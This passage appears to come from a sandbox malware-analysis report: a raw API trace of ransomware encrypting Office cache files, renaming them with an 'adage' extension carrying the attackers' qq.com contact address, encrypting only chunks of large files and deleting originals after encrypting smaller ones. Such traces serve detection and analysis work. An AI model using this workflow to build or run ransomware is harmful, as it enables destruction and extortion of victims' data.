Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.312] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0055.312] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0055.312] ReadFile (in: hFile=0x188, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0055.385] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x66dceca, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0055.386] ReadFile (in: hFile=0x188, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0055.393] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x13456c5e, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0055.393] ReadFile (in: hFile=0x188, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0055.399] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d86e0) returned 1 [0055.399] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0055.399] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0055.406] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0055.406] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0055.406] WriteFile (in: hFile=0x188, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0055.626] SetEndOfFile (hFile=0x188) returned 1 [0055.626] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x13456c5e, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0055.627] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0055.629] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x66dceca, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0055.629] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0055.632] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0055.632] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0055.633] CloseHandle (hObject=0x188) returned 1 [0058.771] SetEvent (hEvent=0x138) returned 1 [0058.772] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0058.772] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.976] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=607936) returned 1 [0058.976] CloseHandle (hObject=0x1a0) returned 1 [0058.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll")) returned 0x2020 [0058.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.980] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.980] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0058.980] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0058.980] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0058.986] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f780*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7dc | out: phKey=0x304f7dc*=0x4d8860) returned 1 [0058.988] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0058.988] ReadFile (in: hFile=0x1a0, lpBuffer=0x3450020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304f804, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x304f804*=0x946c0, lpOverlapped=0x0) returned 1 [0059.004] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x946d0, dwBufLen=0x946d0 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x946d0) returned 1 [0059.009] WriteFile (in: hFile=0x1a4, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x946d0, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0x946d0, lpOverlapped=0x0) returned 1 [0059.020] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f774*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7e0 | out: phKey=0x304f7e0*=0x4d8820) returned 1 [0059.020] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0059.020] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x40, dwBufLen=0x40 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x40) returned 1 [0059.020] CryptDestroyKey (hKey=0x4d8820) returned 1 [0059.020] WriteFile (in: hFile=0x1a4, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0xf2, lpOverlapped=0x0) returned 1 [0059.020] CryptDestroyKey (hKey=0x4d8860) returned 1 [0059.020] CloseHandle (hObject=0x1a0) returned 1 [0059.020] CloseHandle (hObject=0x1a4) returned 1 [0059.142] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.dll")) returned 1 [0060.219] SetEvent (hEvent=0x138) returned 1 [0060.219] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0060.219] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.399] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=236736) returned 1 [0060.399] CloseHandle (hObject=0x1a4) returned 1 [0060.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0060.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.399] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.399] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0060.399] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0060.399] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.400] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f780*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7dc | out: phKey=0x304f7dc*=0x4d86a0) returned 1 [0060.400] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0060.400] ReadFile (in: hFile=0x1a4, lpBuffer=0x3450020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304f804, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x304f804*=0x39cc0, lpOverlapped=0x0) returned 1 [0060.402] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x39cd0, dwBufLen=0x39cd0 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x39cd0) returned 1 [0060.405] WriteFile (in: hFile=0x1a0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x39cd0, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0x39cd0, lpOverlapped=0x0) returned 1 [0060.409] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f774*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7e0 | out: phKey=0x304f7e0*=0x4d8860) returned 1 [0060.409] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0060.409] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x40, dwBufLen=0x40 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x40) returned 1 [0060.410] CryptDestroyKey (hKey=0x4d8860) returned 1 [0060.410] WriteFile (in: hFile=0x1a0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0xf2, lpOverlapped=0x0) returned 1 [0060.410] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.410] CloseHandle (hObject=0x1a4) returned 1 [0060.410] CloseHandle (hObject=0x1a0) returned 1 [0060.413] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.exe")) returned 1 [0060.415] SetEvent (hEvent=0x138) returned 1 [0060.415] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0060.415] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.416] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=5769566) returned 1 [0060.416] CloseHandle (hObject=0x1a0) returned 1 [0060.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0060.416] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excellr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0060.417] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excellr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.417] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0060.417] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0060.417] ReadFile (in: hFile=0x1a0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0060.420] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1d5874, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0060.420] ReadFile (in: hFile=0x1a0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0060.427] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x54095e, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0060.428] ReadFile (in: hFile=0x1a0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0060.646] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d86a0) returned 1 [0060.646] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0060.647] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0060.654] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.654] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0060.654] WriteFile (in: hFile=0x1a0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0060.673] SetEndOfFile (hFile=0x1a0) returned 1 [0060.674] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x54095e, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0060.674] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0060.676] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1d5874, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0060.676] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0060.680] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0060.680] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0060.854] CloseHandle (hObject=0x1a0) returned 1 [0061.466] SetEvent (hEvent=0x138) returned 1 [0061.467] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0061.467] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.467] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=6310126) returned 1 [0061.467] CloseHandle (hObject=0x1a0) returned 1 [0061.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0061.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\pptlr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0061.468] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\pptlr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.468] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0061.468] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0061.468] ReadFile (in: hFile=0x1a0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0061.486] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x20184f, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0061.486] ReadFile (in: hFile=0x1a0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0061.506] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x5c48ee, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0061.506] ReadFile (in: hFile=0x1a0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0061.524] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d88e0) returned 1 [0061.524] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0061.524] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0061.531] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.531] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0061.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0061.732] SetEndOfFile (hFile=0x1a0) returned 1 [0061.732] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x5c48ee, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0061.732] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0061.734] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x20184f, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0061.734] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0061.736] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0061.736] WriteFile (in: hFile=0x1a0, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0061.738] CloseHandle (hObject=0x1a0) returned 1 [0062.160] SetEvent (hEvent=0x138) returned 1 [0062.161] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0062.161] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all 